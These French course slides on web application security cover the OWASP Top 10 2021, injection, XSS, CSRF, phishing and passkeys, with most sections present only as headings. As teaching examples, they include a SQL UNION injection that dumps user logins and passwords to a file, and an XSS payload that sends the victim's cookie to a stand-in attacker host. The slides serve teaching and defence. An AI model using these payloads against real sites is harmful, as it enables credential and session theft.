Développement web il3

Risques applicatifs des app web

Risque

OWASP

Top 10 OWASP 2021 (fr - historique)

  1. Contrôle d’accès défaillants
  2. Défaillances cryptographiques
  3. Injections
  4. Conception non sécurisée
  5. Mauvaise configuration de sécurité
  6. Composants vulnérables et obsolètes
  7. Identification & Authentification de mauvaise qualité
  8. Manque d’intégrité des données et du logiciel
  9. Carences des systèmes de contrôle et de journalisation
  10. Falsification de requêtes côté serveur

Injection de code

Injections SQL

Exemples

SELECT titre, num FROM livres WHERE num=2 UNION
SELECT login, password FROM user INTO DUMPFILE 'www/exploit.txt'

Eviter les injections SQL

Cross Site Scripting (XSS)

Cross Site Scripting (XSS)

<img src="http://www.urlinexistante.com/im.jpg"
     onerror="window.location='http://www.pirate.com/recupcookie.jsp?
     cookie='+document.cookie';">

3 types de XSS

Cross Site Request Forgery (CSRF - Sea Surf)

Exemple (SOP, CORS)

Phishing

Risques non liés à l’application

Authentification

Top 500 passwords cloud

top 500 passwords cloud

Mots de passe

Passkeys

Passkeys : Acteurs

Architecture

Passkeys : Enregistrement

Reg

Passkeys : Authentification

Auth

Collecte d’information

Bonnes pratiques

Références

Sources